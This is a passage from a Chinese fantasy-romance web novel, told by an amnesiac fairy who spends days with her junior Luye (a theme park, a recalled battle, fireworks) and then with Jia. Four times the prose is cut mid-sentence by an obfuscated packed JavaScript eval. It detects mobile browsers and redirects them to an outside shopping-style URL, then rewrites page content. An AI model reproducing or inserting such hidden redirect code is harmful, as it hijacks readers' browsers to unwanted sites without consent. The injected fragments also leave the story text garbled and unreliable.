“我已经知道了。”鹿野回答道，她的视线仍近在咫尺，牢牢地锁定着我，“所以，你只是……有点不好意思，对吧？” 对对对对呀。 但不要这样说出来嘛，感觉更让人害羞了！ “因为，因为我在想，我到底是不是你的小跟班嘛。”我垂眸道，努力地避开她的视线。奈何鹿野的存在感太强，单是被她近距离看着，我就感觉自己好像被什么不存在的牢笼禁锢住了，无处可逃。 鹿野终于和我拉开了距离。 “呵。”她轻笑一声，引着我向传送阵走去，“看来西木长老没有告诉你啊。” 我顿时警铃大作。 西木子应该告诉我什么事吗？他只告诉我不要被鹿野发现三心二意……当然，这话我是不会和她说的。 鹿野说，其实她不喜欢谈论资历或者年龄。我一听就明白她的意思，她更看重能力嘛，我也是，毕竟我在西木子面前就很目无尊长。 “……你下山后，西木长老所有熟识的妖精都写了信，拜托他们照拂你。我师父也收到了。”她说，“我那时候以为，既然需要照顾，你定是个年纪不大的小妖精。这样的想法在见到你之后，也未曾改变。” 原来西木子在背地里还做了这种事啊。 虽然我把他抛下了，但他还是很担心我的安危嘛。 “因为我确实是个小妖精嘛。”我说。 一道白光闪过，我们被传送到了另一个会馆。 鹿野偏过头来看我。 “在说什么呢。”她抱着手臂，“前辈。” 9. 虚假的前辈：再创造新的回忆就好。 真实的前辈：游乐园！游乐园！ 真的假的？前辈，我吗？ 要知道，我醒来后对鹿野的第一印象是，看起来相当英姿飒爽的姐姐……结果她居然是我的后辈？这算什么，姐姐是一种感觉？ 趁着鹿野去取实体票的工夫，我连忙用手机控诉西木子，这么重要的事，怎么不提前告诉我？害我半点前辈的模样都没有，好没面子。 西木子：「哦？鹿野直接这么说了呀，还真是先发制人。」 那不然呢，他以为谁都跟他一样拐弯抹角？ 西木子：「哈哈，这样一来，小甲同学可就为难了啊。」 什么意思？说点我能听懂的。 西木子再次提醒我，甲是我同事池长老的徒弟，这意味着甲和鹿野一样，都是我的后辈。而且相较于年纪轻轻就已经是感知组组长，位高权重的鹿野，初出茅庐的甲才更应该称呼我为前辈—— 这是撞人设了呀，他说。 隔着手机我都能看到他笑眯眯的模样。 西木子：「所以我说她先发制人。」 在后辈设定重复的情况下，鹿野先挑明了这一点，甲到时候如果再这样称呼我，我就会觉得很没意思。 我：？ 这完全是他的揣测吧！ 鹿野是直来直去的性格，跟他可不一样，她才没有这种心机。 西木子：「哎呀，真叫人伤心……」 “在和西木长老聊天吗？” 熟悉的声音突然在我耳畔响起，吓得我手忙脚乱地按灭了手机屏幕。而在我这样做的瞬间我就意识到，我的表现有点太心虚了！我可没做什么不能让她知道的事。 果然，鹿野似乎误会了什么。 “别担心。”她挑了挑眉，“我不好奇你们聊了什么。” “不行！”我说，“你必须在意！” 鹿野惊讶地看着我：“什么？” “因为我正在维护你呢。”我按亮手机屏幕，举到她面前。 她可以不在意西木子说的话，但她必须知道我对她的态度。 鹿野垂眸，看了看我的屏幕。 与此同时，我注意到她手里拎了一个袋子，而她去取票的时候手里是空着的。是在那边的商店买了什么东西吗？比如，给我的礼物什么的？ “我知道了。”鹿野拍了拍我的手背，示意我把手机放下，“嗯，非常感谢你的维护。”话说得一本正经，但唇边有微不可察的笑意。 然后，她话锋一转。 “但如果我说，西木长老没说错呢？” ……嘎？ 我呆呆地看着她：“那你为什么要告诉我呀？” 正常来说，没有人会把自己的小心机说出来……这算什么，阳谋？ 鹿野没有回答这个问题，只是将手里的袋子递给了我。我下意识地接过袋子，发现里面是游乐园联名的主题服装。 其实我今天见她的时候，特意从乾坤袋里拿了一件新衣服，没有穿昨天那件西木子的同款。当然，这件也是西木子买的，毕竟他昨天给我买了很多。 是我今天穿的不合身吗，所以想让我换一套？ “不，很合身。”鹿野说，“别想得太复杂。在我眼里，你穿什么都很好看。” 诶，那为什么…… 鹿野问我，知道她的能力吗？我说知道，她可以看到各式各样的灵。她说对，所以她一看就知道这衣服是谁买给我的。 哪怕想假装看不见，却也实在无法忽视，真是稍微有些苦恼。 苦恼？ 难道说，不是阳谋，也不是别的，其实—— “没错，因为我原本就想这样告诉你。比起其他人，”鹿野很爽快地承认道，“我实在不怎么大度。” “……” 是个占有欲很强的后辈呢，不过…… “那么，如你所愿。”我眨了眨眼睛，“因为今天的我，本来就属于你呀。” 鹿野微微一怔。 “不怪我没发现你是前辈。”她别过头去，“谁让你总是这样……” 啊？我怎么了，我不是在很正常地说话吗？ 10. 进入游乐园后，我看了看地图，拉着鹿野直冲过山车项目。 鹿野迟疑了一下，原来她担心我一大早就玩这个，会把之前吃的早饭不小心吐出来。我说没事，这个就要早点玩，这样之后就有空—— 她恍然道：“之后就有空去玩其他的项目？” “不。”我摇摇头，“是之后就有空再多玩几趟过山车。” 鹿野：？ “看不出来，你还是个过山车狂热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743482|189765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱好者。”她点评道。 嘿嘿，因为那种失重的感觉真的很有意思嘛，惊险又刺激！而且这跟自己在高空飞行还不太一样，因为熟练掌控飞行能力的妖精，在双脚离地的时候，体感是很自然的，像是飞行原本就属于身体的一部分一样。 再说了，也没人会飞着飞着突然在天空像滚筒洗衣机一样突然旋转起来吧？那也太傻了。 但是过山车会旋转！ 说这话的时候，我们已经坐在了座位上，鹿野还帮我检查了一遍压杆。 “惊险又刺激……”她品味了一下这个词，“莫非你之后打算去鬼屋？” 呀，被她猜到了。 好啦，别笑我，妖精去鬼屋玩听起来是有点莫名其妙，毕竟我们本身已经算是一种超自然现象了。但是—— “鬼屋是很考验同伴是否能带来安全感的地点。”我偏过头看她，“人家想看鹿野保护我嘛。” “……” 鹿野轻轻地叹了口气。 “所以我说你总是这样。”她说。 ……啊，是说我这种“想要被保护”的想法不太像前辈吗？好吧，我反思。可我也不是对谁都这样说的呀，是因为鹿野很可靠，我才这么说的。 然而，鹿野说：“你太从容了。” 谁从容？我？这个词和我有关系吗？ “是啊。”她看向远处的轨道，“你总是对我撒娇。” “……” 等等，让我捋一下。 鹿野说她一开始以为我是个年纪不大的小妖精，在见到我之后也依然这样觉得，是因为我在她面前太可爱了，所以她才做出了误判？ 先不说她是怎么发现我是前辈的…… 我拽了拽她的衣角。 “那你吃不吃这套？”我笑眯眯地问。 可惜的是，过山车在此刻启动。风呼呼地扑面而来，我连忙抓紧压杆，鹿野不动声色地将覆在了我的手背上，我看过去，看到她和平时没什么区别的模样——不对，她的眼神里似乎有些促狭。 “你在——笑什么——”我大声问她。 难道她想捉弄我？ “你很快——就知道了——”她答。 我确实很快就知道了。 哇啊啊啊！ 这趟车行驶了很久，一遍又一遍！ 看来乘客只有我们俩，并非巧合，鹿野应该是包下了过山车接下来一段时间的使用权。因为我想玩很多遍，她就干脆帮我省掉了下车的工夫。 “……” 从过山车上下来的时候，我手脚发软，眼冒金星，一言不发。 鹿野倒是无恙。 “你还好吗？”她问，语气难得有些心虚，“或许我应该早点让车停下……” 她好像是想道歉。 我停下脚步，转身，一声不吭地撞到鹿野怀里。 然后—— “鹿野！这也太太太太好玩了！！”我说。 “……诶？” 我抬头看她，双手也紧抱她，像八爪鱼一样扒拉着她：“真的，没骗你！虽然我现在头晕得像是偷——喝——了两瓶酒！但是，我好高兴！好开心！” “等一下，你的嗓子都哑了……”鹿野说，她看起来有些想笑，但忍住了，并且试图让我冷静下来，“怎么还能坐过山车坐醉了呢？” 冷静不下来！我现在超级亢奋，我说的每句话是感叹句！ “你知道我为什么开心吗！”我问她。 “因为你喜欢，觉得好玩呗。”她说。 “是这样！但也不全是！” 我松开环抱她的手，但因为手脚松软无力，失去支撑力后差点向一旁倒去，好在鹿野急忙揽住了我的腰，这才避免我东倒西歪。 由于我整个人几乎还是倚靠着她站着，我顺势抱住了她的手臂，摇晃起来。 “因为，”我看向她，“是鹿野在陪着我。” 喜欢的项目固然让我感到开心，但无论何时何地，陪伴我的人才是最重要的，换我自己玩，也许就不会这么开心了。 就是不知道鹿野是怎么想的，她不会觉得陪我玩很无聊呢？ “……” 鹿野用空着的手按了按额头。 我歪了歪头：“鹿野，你不舒服吗？” 她看起来好像有点脸红诶！糟了，她是不是也有些头晕呀？这可不行，我是靠不住的，我们俩要一起摔倒了—— “我没事。”鹿野连忙说，“我只是……” 话没说完，她自己先笑了起来。 “只是觉得，你有点太可爱了。” 所以，她怎么会觉得无聊呢？甚至正相反…… “和你一起的时候，我也很开心。”鹿野认真地说。 6. 鹿野2 11. 吃午饭的时候，鹿野问我，今晚要不要跟她去和她师父、师弟还有徒弟一起吃饭。 我差点没拿稳手里的叉子。 什么，见家长？！ “嗯，因为你们对我来说都是很重要的人。”鹿野说。 “……” 我不知道该怎么形容这种感觉，妖精和人类不一样，我们没有帮助全身进行血液循环的心脏，但我还是感受到了那种震颤了一下的，名为心动的感觉。 即使鹿野说这句话的时候，很平静，就像是在说“甜点选慕斯蛋糕吧”一样。 ……是会带重要的人去见家长的鹿野呀。 “这样好吗？”我放下叉子，紧张地对了对手指，“我是说，我现在什么都不记得了。”甚至身陷于脚踏多只船的风波中。 感觉这样的我，有点对不起她的郑重。 鹿野托着脸看我。 “你不是想知道，我是如何发现你是前辈的吗？”她说，“那我就来帮你回忆一下吧。” 在我下山没多久后，我就和鹿野认识了，那时候她也才出师。 而我确实也跟她想的一样，是个“年纪不大的小妖精”，甚至比她想象中更自来熟，更加擅长撒娇使性。 “说实话，我有点不知道该怎么应对你这样的性格。”鹿野说，“我理应觉得这很麻烦。但很奇妙的是，我的本能并不抗拒你。” 她说我意外地很会把握跟他人相处的分寸感。 鹿野想，如果她仍旧和以前的亲友们一起生活，或许她的性格会和我差不多吧。而且在靠近我的时候，她总能感受到那种很强烈的生命感……因此，她擅自把我当成了需要照顾的妹妹，对于我的亲近也是半推半就。 “不对吧？”我不由得说，“怎么看都感觉，你绝对是在惯着我啊！” “惯着？”鹿野重复了一遍这个词，“呵，就当是这样吧。” 直到那一天，我和她在执行任务时，被一个难缠的心灵系妖精困住在了一个法阵里。 “此前你在跟那个妖精的能力对抗中负了伤，我原本就很焦躁……”鹿野垂眸道，“偏偏那个法阵会强制让人想起最不愿记起来的事情。” 就算过去了数年，就算她已经走了出来，过往再次浮现，鹿野也难免感到痛苦。 当然，比起痛苦，她更多地感到愤怒，愤怒于珍贵的记忆被敌人利用，愤怒于同伴再次在她眼前被伤害，愤怒到恨不得一拳打爆这个法阵。 鹿野告诉自己，她必须冷静下来，因为她身边还有我在。我们俩都没有回复能力，而能够发挥这种作用的药品也在战斗中遗失，而且我一定很害怕，我都吐血了。 我大惊失色：“我还吐血了？” 居然这样凶险？ 这么一说，我好像也想起来了些许片段。 “是啊，你当时看起来简直像是一朵蒲公英，轻飘飘的，一阵风就会吹走，和平时的反差太大了。”鹿野抬头看我，“我那时候动摇了一瞬。” 只凭她自己，真的能救下我吗？ 然而—— 一双手从背后环抱过来，像藤蔓一样，轻轻地绕住了她。 “鹿野。” 我将脑袋埋在她肩膀上，声音和剩下的生命力一样轻。 “别怕。” “……这话应该是我来说才对，何况我没有害怕。”鹿野辩解道，“不是让你躺着好好休息吗？怎么还站起来了，你能站得住吗？” “站不住。”我小声地说，灵力正在从我身体里流失，“所以才靠着你。” 都什么时候了，还在这样？她有些无奈，想要板起脸来说我两句，却听到我说：“说谎可不是好孩子应该做的事情。” “你在害怕吧？鹿野。你怕我死掉，不是吗？” “……” 我知道这话很不可爱，甚至有点戳人痛处，但我还是说了出来。 因为我想告诉鹿野，我不会让她害怕。 我不会死在这里。 “听我说，我已经发现了这个法阵的阵眼在哪里。”我轻声说，“你背着我，我给你指路……然后，破坏它。” 这样我们就能出去了。 鹿野没说话，只是依言把我背了起来。 片刻之后，她忽然问我，刚才为什么要称呼她是“好孩子”？ 现在想来，鹿野想表达的应该是，怎么看她都已经过了是孩子的年纪，而且我这话说得太有前辈感了，不太符合我平时的表现。 但那时的我没有get到她这个意思，我只是抱住她的脖颈，有点执拗地说：“鹿野就是好孩子呀，我一直都知道。” 我知道她想回报无限大人，想为他分担一些什么，所以才很在意我，明明她不是那封信的收件人。我还知道，她是一个面冷心热的妖精，她明明应该讨厌人类，却还是会尽力保护那些无辜的人。 她还非常可靠，无论什么事情都能做得很好，一直以来，她都在照顾我。有朝一日，她一定会成为妖精们都非常钦佩的大大大前辈。 鹿野又沉默了一会儿，放下一句硬邦邦的话：“这话说的，好像在说遗言。” 我没忍住，笑了一下。 嗯，她确实是能听我遗言的关系呢。 鹿野对我这话不满意，她觉得我太漫不经心了。她都能感觉到，我现在这样轻，难道我自己感觉不到吗？不要再说这种讨人厌的话了，既然许下了那种承诺，就应该说到做到。 彼时我们已经找到了阵眼。 “将它破坏的瞬间，我们应该会浮现在半空中。”我在她耳边说，“如果觉得我很轻，随时都会飘走，那就……” “紧紧地抓住我吧。” 12. “你看，我果然言而有信。”我说。 原来我也有这种很有前辈模样的时候呀，很可靠呢！ 不过，一直以来当成平平无奇的妹妹照顾的妖精，竟然是前辈什么的，冲击力确实会很强。难怪鹿野先前称呼我为前辈时，听起来有种微妙的不爽呢。 “我不是在意这个……算了。”鹿野摆了摆手，“总之我想说，你只管跟着我去就好。没什么可怕的，除了师父本来打算下厨，但被我制止了。” 话都说到这个程度了，我也安心了下来。 不过，无限大人的厨艺很不好吗？记不起来了，尝一下会不会记起来更多？但这样会辛苦他下厨诶，还是算了吧。 离开餐厅后，我们继续逛游乐园，刚好赶上了一场主题演出的互动环节。 魔法女巫乐队的鼓手说，架子鼓的存在感比贝斯强太多了，她敲了好久有点累，有没有谁愿意上来替她表演？ 鹿野对凑这种热闹没什么兴趣，但我很踊跃，我在人群里跳上跳下的，各种举手：“我我我！看我！我会！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743483|189765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>动次打次，动次打次！ 下一秒，鼓手手中的鼓槌指向了我。 好耶，我中了！ “鹿野鹿野，”我连忙扭头对她说，“看我给你露一手——” 嘿嘿，我要在她面前表现一下！ “我就知道……去吧。”她说，把我推上了台。 交接鼓槌，顺带点歌的时候，我听到鼓手嘀咕说，好奇怪，感觉刚才她的身体好像自己动了起来。啊，没有说不想选我的意思，“可能这就是命运吧。”鼓手感叹道。 我瞄了一眼对方身上那些叮叮当当的金属饰品，迅速目移。 才不是命运。 是偏爱呀。 在位置上坐下来，踩上踩镲，我清了清嗓子，对着话筒说：“很高兴成为幸运观众！接下来，我想把这首歌送给今天陪了我一整天的人，感谢她——” 比起说到做到的我，相信我，并且紧紧抓住我的鹿野……也非常温柔呀。 底鼓、踩镲、军鼓，伴随着节奏感，乐队其他成员配合地演奏了起来，一时间，掌声雷动，喝彩声如潮。因为是白天，又是露天，舞台上没有配备聚光灯，但我依然感觉自己被什么照耀着。 因为在拥挤的人群中，鹿野只看向我。 “……” 去往无限大人家的路上，鹿野收到了她的师弟小黑发来的语音：“师姐师姐，那个要过来的姐姐应该很想放烟花玩吧？对吧对吧？” “问你呢，怎么回复？”她说，声音里有几分笑意。 嘛，既然小黑都这么说了，我肯定不能让小朋友扫兴嘛。 “对，我也想玩。”我笑眯眯地说，“鹿野，我们去买烟花吧。” 烟花的美丽转瞬即逝。 但是没关系，我们买了许多不同类型的烟花，可以尝试很多次。 小黑玩得非常开心，泽宇一直在帮他点烟花，无限大人试图帮我们拍照，但每次总是聚焦了烟花就拍不好人，拍人的时候又拍不好烟花，最后还是鹿野接过了拍照的工作。 “这个看起来很厉害诶！”不远处，我听到小黑这样说。 就像小黑说的那样，咻的一声，绽放在天空中的烟花比之前更加璀璨，而且它还是连着放的，一下接着一下，在空中炸开。 “哇，这个好看！鹿野——” 我怕鹿野错过了这样的好风景，连忙回头招呼她去看，却见她没有抬头望向天空，而是朝我的方向举着相机，看起来好专注。 于是我跑过去，开玩笑道：“难道我比烟花还要好看吗？” 鹿野不置可否地一笑。 “有件事我一直想告诉你。”她说，“在那时候，你说错了一句话。” 什么？ 鹿野说，她并不是因为想要回报师父，想要为她分担什么，所以才很在意我。而且她还要告诉我，对于我是前辈这件事，她没有任何看法，不存在什么微妙的不爽。 这样啊，可如果不是因为西木子写给无限的信，鹿野并不会这么快就跟我认识吧？ “嗯，我不否认这一点。”她点头，“但在意你，是我自己的选择。” 就算没有这样的前因，就算只是在某一天，她很普通地遇到了我，然后与我相识，她仍旧会在意我。 “是命运吗？”我忍不住笑。 “不是命运。”在灿烂的烟火下，鹿野望向我，“你知道那是什么。” 7. 鹿野甲 13. 失忆的第四天。 相较于导致我发送位置在深山老林的西木子，鹿野显然更具有责任感。换句话说，她并没有折腾我或者甲的打算，她直接让我跟甲约在距离最近的会馆，然后把我送了过去。 在看到甲的瞬间，我怔了一下。 诶，他这是特意穿了西装吗？ “鹿野大人好。”甲向鹿野问好，然后又看向我，“嗯……” 怎么，在犹豫该如何称呼我吗？第一天对我自称“是你的男朋友”时，他可不是这副模样，那时候的他即使被夹在两位厉害的前辈中间，表现得也很勇敢呢。 不等我说话，鹿野已经接过话来。 “你这打扮……”她打量着他，“池长老是开始要求徒弟走商务风了吗？恕我直言，有点像是要去卖保险。” 其实我也感觉有点不适合，可能是我还没看习惯的缘故？毕竟我对他的第一印象是男大。如果他把西装外套脱掉，只穿白衬衣，那样看着应该比较清爽。 甲稍稍目移，瞧着有些不好意思。 “池长老听到我要去鹿野大人这里接……就跟我说，打扮成熟一些。”他解释道。 我猜他停顿的地方应该是省略了“女朋友”这个称谓。 “行吧。”鹿野没再说什么，“之后就拜托你了。” “好的。”甲点头，目光落在我这里。 “那我走了。”鹿野对我说，然后转身，背对着我挥了挥手。连道别都这么酷，不愧是她，我这样想着，却见她掉头走了回来。 我刚想问怎么了，就听甲说：“鹿野大人是还有什么事要跟我们说吗？” ……诶？ 突然就说起了“我们”，而且这话怎么听都有点挑衅吧？ 偏偏甲的表情看起来老实巴交的，很平静，好像只是在实话实说。 “没什么，只是突然想起一件事。”鹿野也很平静，“听说池长老的徒弟很有礼貌，跟着他拜访其他妖精时，通通使用敬称。” 说完这句话，她就走了，临走时还不忘揉了揉我的头发，只留下表情凝固了一下的甲，以及没搞明白是什么状况的我。 目送鹿野走远，我回头看甲：“鹿野刚才应该是在揶揄你吧？” “是的……”甲的神情变得复杂起来，“因为师父觉得他跟你是同事，我第一次见你的时候，他让我喊你阿姨。” 噗。 “那你喊了吗？”我好奇道。 “怎么可能。”甲抽了抽嘴角，“那是我第一次违背师父的要求。” 我好不容易才忍住笑，然后想起来，我觉得他把西装外套脱掉会更合适这件事，于是干脆对他说：“你把衣服脱一下。” 甲：？ 他怔住了：“现在吗？” “对呀。”我点头。 “这……不太好吧。”甲环顾左右，“周围有好多人。” 我：？ 啊！我瞬间红了脸。 这小子想什么呢？ “我是说外套！”我凶巴巴地说。 意识到自己完全误解了，甲立刻睁大了眼睛：“哦，这样……好的。” 就这样，在鹿野离开一分钟后，我和甲双双脸红。 而就像我想的那样，将西装外套搭在手臂上后，只穿白衬衣的甲看起来顺眼许多，虽然还是有种淡淡的社畜感，不过男大也是要实习的嘛，正常正常。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743484|189765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把袖子捋到这里。”我跟他比划。 他是稍显清瘦的类型，很适合露出手腕和一截小臂。 甲乖乖照做。 真听话。 “领带也是你自己打的吗？”我问。 感觉和常见的平结、温莎结都不太一样，多了一点层次感。 “嗯……这个还是你教我的。”他说。 哇，那我真厉害，还会打不同的领结。 我这样想着，忽然又意识到，刚才鹿野在的时候，甲还称呼他师父为“池长老”，怎么他就直接说是“师父”了？ “哦，这个，我和师弟师妹在外人面前都是称呼职级的。”甲说。 原来如此，现在只有我和他…… 我不是外人呀。 既然不是外人—— “那你刚才见到我的时候，为何有些犹豫？”我故意说道，“只对鹿野问好，却不跟我问好，真是厚此薄彼呀。” 甲又一次露出了犹豫的神情。 “我不是那个意思。”他说，“是因为我们最近见面时，问好的方式比较特别……刚才鹿野大人还在，而你又失忆了，我实在不方便这样做。” 诶，那他平时是怎样跟我问好呢？再来示范一次吧，我很想知道呢。 甲的目光落在别处，然后又目移回来，像是做了某种心理准备一样，重新看向我。 “那，我要向你问好了。”他说。 嗯嗯，来吧。 ……感觉好神奇的对话。 下一秒，我屏住了呼吸。 只见甲微微倾身，在我的注视下，距离越来越近——甚至扶住了我的肩膀。 然后，他的脸颊轻轻地贴了一下我的脸颊。 8. 甲1 14. 脸颊轻轻相触的瞬间，我的脑海陷入了一片空白。 柔软又温热的触感近在咫尺，而令我始料未及的，却不止这一点。 ……等一下，甲！他的辫子！ 是的，甲身后垂下的小辫子也距离我极近。因为贴面礼的动作，他的发尾扫过我的脖颈，像是毛茸茸的刷子，有些痒，让我忍不住想要提醒他。 “甲……” 然而此时，我仅存的理智忽然上线，因为我猛然记起来，这个礼仪除了贴面，似乎还要搭配某种声音—— 预想中的情况却没有发生。 甲只是轻车熟路地换了个方向，又和我贴贴了另一侧的脸颊。然后，不知是有意还是无意，他顺势向前一靠，脑袋埋在了我的脖颈旁。 “呼，好了。”他说，听起来像是松了口气，“嗯……你刚才是不是叫了我的名字？” 啊？哦……是的。 但是不对呀，他是不是省略了什么？ 可能是我疑惑的气息太明显，甲很快就意识到了我在想什么。 “抱歉。”他低声道，声音黏黏糊糊的，“我今天还是有点不好意思，就没有做完整……” “你不会怪我吧？” “没没没关系。”我结结巴巴地说，心底已经在尖叫了。 太近了！ 至于所谓的完整——据我所知，贴面礼需要在脸颊触碰到的时刻，用嘴巴配合发出“mua”的亲吻声。 只是贴贴就已经让我心慌意乱，如果再搭配那种声音，简直不要太羞耻……莫非甲是考虑到了这一点，才没有这么做？ 那么，该说他是细心呢，还是粗心呢？ 我对甲的印象很好，因为他听话又体贴。在我希望他们做自我介绍时，只有他说出了自己的名字。而且他还设法告诉我，让我找哪吒解围。 而这样的甲，却也有着相当微妙的举动。 比如我和他之间这种打招呼的方式，本来就很不妥吧，他完全没有察觉吗？再比如，之前我让他脱衣服的时候，甲的第一反应竟然只是觉得周围的人比较多，而不是“我干嘛要听你的”，这也很不正常。 甲的边界感……有点过于模糊了吧？ 我忍不住轻轻地叹了口气，推了他一下：“你是在充电吗？” “我都两天没见到你了……”甲嘀咕道，然后稍稍后退了一步，近距离的对视令我得以仔细地打量他。 此刻的甲，一脸无辜。 ……该说不说，他很适合做出这种表情。 甲是那种很有少年感的长相，干净，清爽，人们对少年人的刻板印象是活泼跳脱，他却相反，给人的感觉淡淡的，温柔而可靠。 考虑到甲看起来真的很健全，我合理地怀疑，问题的根源在我。 于是我试探道：“这个打招呼的方式，不会也是我教你的吧？” “是的。”他说。 果然…… 甲说我去年去国外出差，觉得外国人的这种礼仪很有趣，就学了过来，让他也跟着学以致用。就是他自己学艺不精，总是不太习惯，最近才勉力突破了一下，可以做到比较从容地贴贴了，但那种声音还是无法达到…… 他看起来好像有些惭愧。 我再次在心底尖叫。 哦不，别这样！好学生的“好学”怎么用在这种地方啦，倒是质疑一下我啊！等等，人家不会是反抗过，但被我以前辈的威严镇压了吧？ 完全不敢想象我和甲平时到底是怎样的相处模式…… 我立刻岔开话题：“甲，我们今天有什么安排吗？” “嗯……”他沉思了一下，问我，“你有什么想吃的吗？” 那可太多了。 不过，现在就要考虑用餐的地点了吗？是不是有点早呀？ “因为还需要准备一下。”甲解释道。 哦哦，是要提前订餐的那种餐厅吧？感觉很高级呢。 “……啊，不是的。”甲又稍稍目移，看向别处，他似乎无法做到长时间和我对视，总要做些深呼吸之类心理建设，才能继续看我。 说实话，这一点还蛮可爱的。 “是需要先去买菜。”甲说。 意料之外的回答，我眼前一亮：“你要自己下厨？” 他会做饭啊！好贤惠哦。 “嗯嗯。”甲点头，“一直都有学，但太复杂的还不太擅长。” 那我们就一起去逛超市，边看边选吧。 但是，等会去哪里做饭呢？是去他家吗，难道甲已经出师，搬出来住了？还是说，去那种DIY餐厅？ 甲又一次说出了我没想到的答案。 “去你家。”他说。 诶？我家？！ 我立刻为难起来。 察觉到我的犹豫，甲垂眸道：“……果然不行吗？” 语气好失落。 我连忙摆手：“你别多想，我不是信不过你！” 如果是别人，我肯定会怀疑他是不是别有目的，但甲的想法绝对是单纯的。可能只是因为他还没有独立的住所，DIY餐厅又有很多外人，所以我家最合适。 但问题在于，我失忆了。 我有些不好意思地说：“其实，我目前还没想起来自己家住在哪……” “原来是这样。”甲恍然道。 嗯嗯，所以我不是故意不带他去的！ 然而—— “我知道前辈家住在哪里。”甲平静地说。 15. ……喂，这小子用很平静的语气说出了很不得了的话啊！ 我迅速地头脑风暴了一下，身为我的好同事的徒弟，甲知道我家的住址，似乎也说得过去。但就算他知道地址，我们该怎么开门呢？ 我的意思是，我同样想不起来我家的钥匙在哪里。 “前辈家是密码锁。”甲说。 呃，别告诉我，他连我家的密码都知道？ 伴随着甲点头的动作，我闭上了眼睛。 嫩草，果然不能随便吃。 西木子那家伙，倒是事先提醒我一声啊！ 亏我之前还取笑他“请问您从什么时候开始变态的呢”，现在看来，我与他怕是不遑多让……某种程度上来说，不愧是同一个师门出来的。 总之，甲让我感受到了前所未有的危机感，这是无论与西木子相处，还是和鹿野在一起，都没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743485|189765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此窘迫的心情。 “师父以前让我送过你回家。”甲连忙补充道。 多么善解人意的后辈…… 我很想这样说。但是，甲还是太年轻了！ 甲这句为我解围的话，有着很明显的避重就轻的意味。如果只是送我回家，他送到楼下就可以，就算要送到家门口，他也不会留下来看我输密码，毕竟那太没礼貌了。 因此，密码应该是我告诉他的。 “是我喝醉了吧？”我按了按额头，“绝对是的。” 难怪我在坐了很多次过山车之后的感想是，这种晕晕乎乎的感觉，像是偷喝了两瓶酒一样。如果我没喝过，我怎么会有这种联想呢？ 一定是因为我的状态不够清醒，所以池年才会让他可靠的徒弟送我回去。也正是由于这样，甲才会知道我家入户门的密码，因为我需要他帮我开门。 岌岌可危的道德感提醒我，也许我在喝多了的情况下对后辈进行了职场霸凌……好的，就先思考到这里吧，是时候忘记这些猜测了！ 妖生在世，多少需要一些掩耳盗铃。 “去超市吧。”我义正词严地说，“现在就去。” 即使目睹了我的表情变化，甲也没有追问我想到了什么。真体贴啊，我在心底这样夸奖他，跟着他向传送阵走去。 忽然，走在我前方的甲停下了步伐，他转过身，一言不发地看着我。 “又怎么了？”我茫然道。 甲环顾左右，欲言又止：“我想……” 想什么？直说就好。 “可以吗？”甲继续看别处。 这副看起来像是在害羞的模样很是可爱，让我忍不住想要扳回一城。 “当然，你不是我男朋友吗？”我调侃他，“你自己说的，不会不承认了吧？” 甲的目光迅速地落回我这里。 “那我想……啊，不。”他眨了眨眼睛，“我可以牵你的手吗？” “……” 像是捏起一颗酸葡萄，品尝后却发现它很甜那样，我被这样的细节变化打动了。我原以为甲会说“我想和你牵手”，没想到他临时换成了祈使句。 从要求变成了请求。 “你平时也这样吗？”我不由得问。 难道甲每一次想跟我亲昵，都会先这么问，包括更进一步？我是说，比如亲亲什么的。但我看他之前做贴面礼的时候还蛮自然的呀，还是说，那种事情已经习惯了…… 甲微微一怔。 “我……我们，那个。”他语无伦次地组织着语句，“我们还没到更进一步……当然，我会这样问的，嗯。” 哇，脸和耳朵都超级红…… 可能是他太纯情了，我被他影响得脸上也有点发烫。 “好的，那我等着你问。” ……哎呀，瞧我这顺嘴！ 气氛已经足够火热，再说下去就有妖精要被点着了，我可没有很期待发生什么哈哈。到此结束，结束！ “赶时间赶时间，我们快走吧。”我走上前，拉住他的手。 甲很听话地“哦”了一声。 